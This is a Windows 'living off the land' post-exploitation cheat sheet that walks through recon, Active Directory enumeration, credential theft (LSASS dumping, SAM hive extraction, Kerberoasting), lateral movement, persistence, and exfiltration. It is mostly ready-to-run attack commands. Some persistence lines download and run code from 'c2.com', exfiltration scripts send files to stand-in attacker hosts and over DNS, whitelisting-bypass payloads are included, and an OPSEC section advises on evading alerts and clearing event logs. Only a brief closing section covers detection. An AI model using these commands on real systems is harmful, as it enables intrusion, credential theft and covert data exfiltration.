Living Off the Land: Windows Post-Exploitation
Living Off the Land: Windows Post-Exploitation Workflow & Cheatsheet
🎯 Quick Reference Workflow
Initial Access → Reconnaissance → Credential Harvesting → Lateral Movement → Persistence → Exfiltration📋 PHASE 1: INITIAL RECONNAISSANCE
System Information
# OS Information
Get-WmiObject -Class Win32_OperatingSystem | Select-Object Caption, Version, BuildNumber, OSArchitecture
# Domain Check
(Get-WmiObject -Class Win32_ComputerSystem).PartOfDomain
(Get-WmiObject -Class Win32_ComputerSystem).Domain
# Current User Privileges
whoami /allLocal Enumeration
# Local Users
Get-LocalUser | Select-Object Name, Enabled, LastLogon, PasswordLastSet
# Local Administrators
Get-LocalGroupMember -Group "Administrators"
# Running Processes
Get-Process | Select-Object ProcessName, Id, Path | Sort-Object ProcessName
# Services Running as SYSTEM
Get-WmiObject win32_service | Where-Object {$_.StartName -eq "LocalSystem"} | Select-Object Name, PathName, State, StartMode
# Unquoted Service Paths
Get-WmiObject win32_service | Where-Object {
$_.PathName -notlike '"*' -and
$_.PathName -like '* *'
} | Select-Object Name, PathName, StartName, StateNetwork Reconnaissance
# Network Configuration
Get-NetIPConfiguration
# Established Connections
Get-NetTCPConnection | Where-Object {$_.State -eq "Established"} |
Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, OwningProcess
# ARP Cache
Get-NetNeighbor | Where-Object {$_.State -ne "Unreachable" -and $_.State -ne "Incomplete"}
# Ping Sweep (NOISY!)
1..254 | ForEach-Object {
$ip = "192.168.1.$_"
if (Test-Connection -ComputerName $ip -Count 1 -Quiet -TimeoutSeconds 1) {
Write-Output "$ip is alive"
}
}Software Enumeration
# Installed Software (64-bit)
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* |
Select-Object DisplayName, DisplayVersion, Publisher, InstallDate |
Where-Object {$_.DisplayName -ne $null}
# Installed Software (32-bit)
Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* |
Select-Object DisplayName, DisplayVersion, Publisher, InstallDate |
Where-Object {$_.DisplayName -ne $null}
# Security Products
Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct |
Select-Object displayName, pathToSignedProductExe, productStateđź“‹ PHASE 2: ACTIVE DIRECTORY ENUMERATION
PowerShell Method
# Domain Information
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
# Domain Controllers
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers |
Select-Object Name, IPAddress, OSVersion
# All Users (if AD module available)
Get-ADUser -Filter * -Properties * |
Select-Object Name, SamAccountName, Enabled, LastLogonDate, PasswordLastSet, AdminCount
# Domain Admins
Get-ADGroupMember -Identity "Domain Admins" -RecursiveADSI Method (No Module Required)
# Query All Users
$searcher = [ADSISearcher]"(objectClass=user)"
$searcher.PropertiesToLoad.AddRange(@("samaccountname","displayname","mail"))
$searcher.FindAll() | ForEach-Object {
[PSCustomObject]@{
Username = $_.Properties['samaccountname'][0]
DisplayName = $_.Properties['displayname'][0]
Email = $_.Properties['mail'][0]
}
}
# Find Domain Admins
$searcher = [ADSISearcher]"(memberOf:1.2.840.113556.1.4.1941:=CN=Domain Admins,CN=Users,DC=corp,DC=local)"
$searcher.FindAll() | ForEach-Object { $_.Properties['samaccountname'] }
# Find All Computers
$searcher = [ADSISearcher]"(objectClass=computer)"
$searcher.PropertiesToLoad.AddRange(@("name","operatingsystem","operatingsystemversion"))
$searcher.FindAll()
# Passwords Never Expire
$searcher = [ADSISearcher]"(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=65536))"
$searcher.FindAll() | ForEach-Object { $_.Properties['samaccountname'] }
# SPNs (Kerberoastable)
$searcher = [ADSISearcher]"(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512))"
$searcher.PropertiesToLoad.AddRange(@("samaccountname","serviceprincipalname"))
$searcher.FindAll()Native Tools Method
REM Domain Controllers
nltest /dclist:domain.local
REM Domain Trusts
nltest /domain_trusts /all_trusts
REM List All Users
dsquery user -limit 0
REM List All Computers
dsquery computer -limit 0
REM Domain Admins
dsquery group -name "Domain Admins" | dsget group -members
REM Find SPNs
setspn -Q */*
REM Users in Domain
net user /domain
REM Domain Password Policy
net accounts /domain
REM Specific User Details
net user username /domainRemote System Enumeration (WMI)
# OS Information
Get-WmiObject -Class Win32_OperatingSystem -ComputerName TARGET-PC
# Processes
Get-WmiObject -Class Win32_Process -ComputerName TARGET-PC
# Logged-in Users
Get-WmiObject -Class Win32_ComputerSystem -ComputerName TARGET-PC | Select-Object UserName
# Services
Get-WmiObject -Class Win32_Service -ComputerName TARGET-PC |
Where-Object {$_.State -eq "Running"}đź“‹ PHASE 3: CREDENTIAL HARVESTING
LSASS Memory Dump
# Get LSASS Process ID
$lsass = Get-Process lsass
$lsassPid = $lsass.Id
# Dump LSASS using rundll32 + comsvcs.dll
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsassPid C:\temp\lsass.dmp full
# Alternative: Task Manager Method (GUI)
# 1. Open Task Manager
# 2. Details tab → lsass.exe
# 3. Right-click → Create dump file
# Parse Offline (on attacker machine)
pypykatz lsa minidump lsass.dmp
# Cleanup
Remove-Item C:\temp\lsass.dmp -ForceRegistry Credential Extraction
# Save Registry Hives (requires admin)
reg save HKLM\SAM C:\temp\sam.hive
reg save HKLM\SYSTEM C:\temp\system.hive
reg save HKLM\SECURITY C:\temp\security.hive
# Remote Registry
reg save \\TARGET-PC\HKLM\SAM C:\temp\remote_sam.hive
reg save \\TARGET-PC\HKLM\SYSTEM C:\temp\remote_system.hive
# Parse Offline
secretsdump.py -sam sam.hive -security security.hive -system system.hive LOCALFile-Based Credential Search
# Search for Password Keywords
Get-ChildItem C:\ -Recurse -Include *.txt,*.xml,*.ini,*.config,*.ps1,*.bat,*.cmd -ErrorAction SilentlyContinue |
Select-String -Pattern "password" -CaseSensitive:$false |
Group-Object Path | Select-Object Name
# Unattended Installation Files
Get-ChildItem C:\Windows\Panther\ -Recurse -Include unattend.xml,autounattend.xml -ErrorAction SilentlyContinue
# Group Policy Preferences
Get-ChildItem C:\Windows\SYSVOL\ -Recurse -Include Groups.xml,Services.xml,Scheduledtasks.xml -ErrorAction SilentlyContinue
# VNC Passwords
Get-ChildItem C:\ -Recurse -Include ultravnc.ini,vnc.ini -ErrorAction SilentlyContinue
# Web.config (Database Credentials)
Get-ChildItem C:\inetpub\ -Recurse -Include web.config -ErrorAction SilentlyContinue |
Select-String -Pattern "connectionString"
# FileZilla Credentials
Get-ChildItem C:\Users\*\AppData\Roaming\FileZilla\ -Include sitemanager.xml,recentservers.xml -ErrorAction SilentlyContinuePowerShell History
# Current User History
$historyPath = (Get-PSReadlineOption).HistorySavePath
Get-Content $historyPath
# All Users History
Get-ChildItem C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt -ErrorAction SilentlyContinue |
ForEach-Object {
Write-Output "`n=== $($_.FullName) ==="
Get-Content $_.FullName | Select-String -Pattern "password|credential|username|pwd"
}Browser Credentials
# Chrome Password Database
$chromePath = "$env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Default\Login Data"
Copy-Item $chromePath C:\temp\ChromePasswords.db
# (Decrypt offline with DPAPI master key)Credential Manager
REM List Stored Credentials
cmdkey /list
REM Credential Files Location
dir C:\Users\*\AppData\Local\Microsoft\Credentials\ /s
dir C:\Users\*\AppData\Roaming\Microsoft\Credentials\ /sKerberoasting
# Find Kerberoastable Accounts
$searcher = [ADSISearcher]"(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512))"
$searcher.PropertiesToLoad.AddRange(@("samaccountname","serviceprincipalname","pwdlastset"))
$results = $searcher.FindAll()
# Request Service Tickets
Add-Type -AssemblyName System.IdentityModel
foreach ($result in $results) {
$spn = $result.Properties['serviceprincipalname'][0]
$username = $result.Properties['samaccountname'][0]
try {
$ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn
Write-Output "[+] Ticket requested for $username ($spn)"
}
catch {
Write-Output "[-] Failed: $($_.Exception.Message)"
}
}
# List Cached Tickets
klist
# Extract from LSASS dump (offline)
pypykatz lsa minidump lsass.dmp -k kerberos_tickets
# Crack with Hashcat
hashcat -m 13100 -a 0 tickets.txt wordlist.txtđź“‹ PHASE 4: LATERAL MOVEMENT
PowerShell Remoting
# Test WinRM Availability
Test-WSMan -ComputerName TARGET-PC
# Interactive Session
Enter-PSSession -ComputerName TARGET-PC -Credential (Get-Credential)
# Single Command Execution
Invoke-Command -ComputerName TARGET-PC -ScriptBlock { whoami }
# With Credentials
$password = ConvertTo-SecureString "P@ssw0rd123" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ("DOMAIN\username", $password)
Invoke-Command -ComputerName TARGET-PC -Credential $cred -ScriptBlock { Get-Process }
# Multiple Targets
$targets = @("TARGET-PC1", "TARGET-PC2", "TARGET-PC3")
Invoke-Command -ComputerName $targets -Credential $cred -ScriptBlock { whoami }
# Execute Local Script Remotely
Invoke-Command -ComputerName TARGET-PC -FilePath C:\scripts\enum.ps1WMI Execution
# Execute Command via WMI
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > C:\temp\output.txt" -ComputerName TARGET-PC
# Read Output
Get-Content \\TARGET-PC\C$\temp\output.txt
# Execute PowerShell via WMI
$command = "Get-Process | ConvertTo-Json"
$encodedCommand = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command))
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "powershell.exe -EncodedCommand $encodedCommand" -ComputerName TARGET-PC
# Command Line (wmic)
wmic /node:TARGET-PC process call create "cmd.exe /c whoami"DCOM Execution
# MMC20.Application
$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","TARGET-PC"))
$dcom.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c calc.exe","7")
# ShellWindows
$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","TARGET-PC"))
$item = $dcom.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\Windows\System32",$null,0)
# ShellBrowserWindow
$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","TARGET-PC"))
$item = $dcom.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\Windows\System32",$null,0)Scheduled Tasks
REM Create Task
schtasks /create /tn "WindowsUpdate" /tr "cmd.exe /c whoami > C:\temp\output.txt" /sc once /st 00:00 /S TARGET-PC /U DOMAIN\username /P password
REM Run Task
schtasks /run /tn "WindowsUpdate" /S TARGET-PC /U DOMAIN\username /P password
REM Delete Task
schtasks /delete /tn "WindowsUpdate" /S TARGET-PC /U DOMAIN\username /P password /F
REM Create as SYSTEM
schtasks /create /tn "WindowsUpdate" /tr "cmd.exe /c command" /sc once /st 00:00 /ru SYSTEM /S TARGET-PC /U DOMAIN\username /P password# PowerShell Method
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoProfile -Command Get-Process"
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1)
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
Register-ScheduledTask -TaskName "SystemMaintenance" -Action $action -Trigger $trigger -Principal $principal -CimSession TARGET-PCService-Based Movement
REM Create Service
sc.exe \\TARGET-PC create UpdateService binPath= "cmd.exe /c whoami > C:\temp\output.txt" start= demand
REM Start Service
sc.exe \\TARGET-PC start UpdateService
REM Delete Service
sc.exe \\TARGET-PC delete UpdateServicenetsh Pivoting
REM Port Forward Setup
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=192.168.10.50
REM Show Forwards
netsh interface portproxy show all
REM Delete Forward
netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0
REM Reset All
netsh interface portproxy reset
REM WiFi Credentials
netsh wlan show profiles
netsh wlan show profile name="CompanyWiFi" key=clear
netsh wlan export profile key=clear folder=C:\temp
REM Firewall Rules
netsh advfirewall firewall add rule name="Allow Port 4444" dir=in action=allow protocol=TCP localport=4444
netsh advfirewall firewall delete rule name="Allow Port 4444"
netsh advfirewall set allprofiles state offđź“‹ PHASE 5: PERSISTENCE
Registry Run Keys
# Current User (No Admin Required)
New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "OneDriveUpdate" -Value "powershell.exe -WindowStyle Hidden -NoProfile -Command IEX (New-Object Net.WebClient).DownloadString('http://c2.com/payload.ps1')" -Force
# Local Machine (Admin Required)
New-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "SecurityUpdate" -Value "powershell.exe -WindowStyle Hidden -Command payload" -Force
# RunOnce Keys
New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce" -Name "ConfigUpdate" -Value "powershell.exe -Command payload" -ForceStartup Folder
# Current User
$startupPath = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
# Create Shortcut
$WshShell = New-Object -ComObject WScript.Shell
$shortcut = $WshShell.CreateShortcut("$startupPath\OneDrive.lnk")
$shortcut.TargetPath = "powershell.exe"
$shortcut.Arguments = "-WindowStyle Hidden -NoProfile -Command payload"
$shortcut.WindowStyle = 7 # Hidden
$shortcut.Save()
# Or Batch File
$script = @"
@echo off
powershell.exe -WindowStyle Hidden -Command IEX (New-Object Net.WebClient).DownloadString('http://c2.com/payload.ps1')
"@
Set-Content -Path "$startupPath\WindowsUpdate.bat" -Value $scriptScheduled Tasks
# Logon Trigger
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-WindowStyle Hidden -NoProfile -Command payload"
$trigger = New-ScheduledTaskTrigger -AtLogOn -User $env:USERNAME
$principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest
$settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -Hidden
Register-ScheduledTask -TaskName "MicrosoftEdgeUpdateTaskUserCore" -Action $action -Trigger $trigger -Principal $principal -Settings $settings
# Periodic Trigger (Every 6 Hours)
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Hours 6) -RepetitionDuration ([TimeSpan]::MaxValue)
# Daily at 3 AM
$trigger = New-ScheduledTaskTrigger -Daily -At 3am
# As SYSTEM
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel HighestWMI Event Subscriptions
# Event Filter (Trigger)
$filterArgs = @{
Name = "WindowsUpdateFilter"
EventNamespace = "root\cimv2"
QueryLanguage = "WQL"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $filterArgs
# Event Consumer (Action)
$consumerArgs = @{
Name = "WindowsUpdateConsumer"
CommandLineTemplate = "powershell.exe -WindowStyle Hidden -NoProfile -Command payload"
}
$consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $consumerArgs
# Binding
$bindingArgs = @{
Filter = $filter
Consumer = $consumer
}
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments $bindingArgs
# List Existing
Get-WmiObject -Namespace root\subscription -Class __EventFilter
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding
# Remove
Get-WmiObject -Namespace root\subscription -Class __EventFilter -Filter "Name='WindowsUpdateFilter'" | Remove-WmiObjectđź“‹ PHASE 6: DATA EXFILTRATION
PowerShell Web Upload
# Simple POST
$fileContent = [System.IO.File]::ReadAllBytes("C:\sensitive\data.txt")
Invoke-RestMethod -Uri "http://exfil-server.com/upload" -Method POST -Body $fileContent
# Chunked Upload
$file = "C:\sensitive\large-file.zip"
$chunkSize = 1MB
$buffer = New-Object byte[] $chunkSize
$fileStream = [System.IO.File]::OpenRead($file)
$chunkNumber = 0
while (($bytesRead = $fileStream.Read($buffer, 0, $chunkSize)) -gt 0) {
$chunkNumber++
$chunkData = $buffer[0..($bytesRead-1)]
Invoke-RestMethod -Uri "http://server.com/upload?chunk=$chunkNumber" -Method POST -Body $chunkData
}
$fileStream.Close()
# HTTPS with Self-Signed Cert
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
Invoke-RestMethod -Uri "https://server.com/upload" -Method POST -Body $datacertutil
REM Download (and reverse for upload concept)
certutil.exe -urlcache -split -f http://server.com/upload C:\temp\upload.txt
REM Base64 Encode for URL-based exfil
certutil.exe -encode C:\sensitive\data.txt C:\temp\encoded.txt
REM Clean Cache
certutil.exe -urlcache * deleteBITS Transfer
REM Create Upload Job
bitsadmin /create ExfilJob
bitsadmin /addfile ExfilJob C:\sensitive\data.zip http://server.com/upload/data.zip
bitsadmin /setpriority ExfilJob FOREGROUND
bitsadmin /resume ExfilJob
REM Monitor
bitsadmin /monitor
REM Complete
bitsadmin /complete ExfilJob
REM Download
bitsadmin /transfer DownloadJob /download /priority HIGH http://server.com/file.zip C:\temp\file.zipSMB Exfiltration
REM Map Drive
net use Z: \\exfil-server\share /user:username password
REM Copy Files
copy C:\sensitive\data.zip Z:\
REM Disconnect
net use Z: /delete# Direct Copy (No Drive Mapping)
Copy-Item C:\sensitive\data.zip \\exfil-server\share\DNS Exfiltration
# Read and Encode File
$data = [System.IO.File]::ReadAllBytes("C:\sensitive\passwords.txt")
$encoded = [Convert]::ToBase64String($data)
# Chunk and Send via DNS
$chunkSize = 32
$domain = "exfil.yourdomain.com"
for ($i = 0; $i -lt $encoded.Length; $i += $chunkSize) {
$chunk = $encoded.Substring($i, [Math]::Min($chunkSize, $encoded.Length - $i))
$subdomain = "$chunk.$domain"
nslookup $subdomain 2>$null | Out-Null
Start-Sleep -Milliseconds 100
}
# With Sequence Numbers
$sequenceNumber = 0
for ($i = 0; $i -lt $encoded.Length; $i += $chunkSize) {
$chunk = $encoded.Substring($i, [Math]::Min($chunkSize, $encoded.Length - $i))
$subdomain = "seq$sequenceNumber.$chunk.$domain"
nslookup $subdomain 2>$null | Out-Null
$sequenceNumber++
}
nslookup "end.$domain" 2>$null | Out-NullEmail Exfiltration
# Send-MailMessage
Send-MailMessage -From "user@company.com" -To "exfil@attacker.com" -Subject "Report" -Body "See attachment" -Attachments "C:\sensitive\data.zip" -SmtpServer smtp.company.com
# Outlook COM
$outlook = New-Object -ComObject Outlook.Application
$mail = $outlook.CreateItem(0)
$mail.To = "exfil@attacker.com"
$mail.Subject = "Monthly Report"
$mail.Body = "See attachment."
$mail.Attachments.Add("C:\sensitive\data.zip")
$mail.Send()
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($outlook) | Out-Nullđź“‹ BYPASSING APPLICATION WHITELISTING
MSBuild Execution
<!-- save as build.xml -->
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Execute">
<ClassExample />
</Target>
<UsingTask TaskName="ClassExample" TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Diagnostics;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task {
public override bool Execute() {
Process.Start("calc.exe");
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>REM Execute
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\temp\build.xml
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\temp\build.xmlRegsvr32 Scriptlet
<!-- save as bypass.sct on web server -->
<?XML version="1.0"?>
<scriptlet>
<registration progid="Bypass" classid="{F0001111-0000-0000-0000-0000FEEDACDC}">
</registration>
<script language="JScript">
<![CDATA[
var shell = new ActiveXObject("WScript.Shell");
shell.Run("calc.exe");
var command = 'powershell.exe -NoProfile -Command "IEX (New-Object Net.WebClient).DownloadString(\'http://c2.com/payload.ps1\')"';
shell.Run(command, 0, false);
]]>
</script>
</scriptlet>REM Execute
regsvr32.exe /s /n /u /i:http://server.com/bypass.sct scrobj.dllMshta Execution
<!-- save as update.hta -->
<!DOCTYPE html>
<html>
<head>
<HTA:APPLICATION SHOWINTASKBAR="no" WINDOWSTATE="minimize" />
<script language="VBScript">
Sub Window_OnLoad
Dim objShell
Set objShell = CreateObject("WScript.Shell")
objShell.Run "calc.exe", 0, False
window.close()
End Sub
</script>
</head>
<body>Loading...</body>
</html>REM Execute Remote HTA
mshta.exe http://server.com/update.hta
REM Inline VBScript
mshta.exe vbscript:Close(Execute("CreateObject(""WScript.Shell"").Run ""calc.exe"", 0"))
REM JavaScript
mshta.exe javascript:a=(GetObject("script:http://server.com/payload.js")).Run();close();🛡️ OPSEC CONSIDERATIONS
High-Risk Actions (Likely to Trigger Alerts)
❌ Disabling Windows Defender/Firewall completely
❌ Ping sweeps of entire subnets
❌ Dumping LSASS in monitored environments
❌ Creating services with suspicious names
❌ Large data transfers in single bursts
❌ Executing from TEMP/Downloads directories
Lower-Risk Alternatives
âś… Use specific firewall rules instead of disabling
âś… Use ARP cache and existing connections for recon
âś… Time LSASS dumps during maintenance windows
âś… Use legitimate-looking service/task names
âś… Chunk and throttle data transfers
âś… Execute from standard Windows directories
Cleanup Checklist
# Remove scheduled tasks
Unregister-ScheduledTask -TaskName "YourTaskName" -Confirm:$false
# Remove registry keys
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "YourKey"
# Remove WMI subscriptions
Get-WmiObject -Namespace root\subscription -Class __EventFilter -Filter "Name='YourFilter'" | Remove-WmiObject
# Remove services
sc.exe delete YourService
# Clear PowerShell history
Remove-Item (Get-PSReadlineOption).HistorySavePath
# Clear event logs (very obvious!)
wevtutil cl Security
wevtutil cl System
wevtutil cl Application📚 DETECTION INDICATORS
Event IDs to Monitor
4688 - Process Creation (with command-line auditing)
4624 - Successful Logon (Type 3 = Network, Type 10 = RemoteInteractive)
4648 - Explicit Credential Use
4672 - Special Privileges Assigned
7045 - New Service Installed
106/200 - Scheduled Task Registered/Executed
4103/4104 - PowerShell Script Block Logging
Suspicious Patterns
PowerShell with
-EncodedCommand,-NoProfile,-WindowStyle HiddenRundll32 with comsvcs.dll (LSASS dumping)
MSBuild/Regsvr32/Mshta from unusual parent processes
WMI/DCOM connections to multiple systems
Certutil with
-urlcacheand URLsNetsh with
portproxyoradvfirewallScheduled tasks running as SYSTEM with PowerShell
Processes accessing LSASS memory
🎯 QUICK WINS CHECKLIST
First 5 Minutes:
whoami /all- Check privilegesCheck domain membership
List local admins
Check for security products
PowerShell history check
First 15 Minutes:
Search for credentials in files
Check Credential Manager
Enumerate domain if domain-joined
Check for unquoted service paths
List installed software
First Hour:
Attempt LSASS dump if admin
Kerberoasting if domain environment
Establish persistence mechanism
Begin lateral movement recon
Identify high-value targets
đź“– Key References
LOLBAS Project: https://lolbas-project.github.io/
MITRE ATT&CK: https://attack.mitre.org/
PowerShell Documentation: https://docs.microsoft.com/powershell/
Windows Sysinternals: https://docs.microsoft.com/sysinternals/
Last updated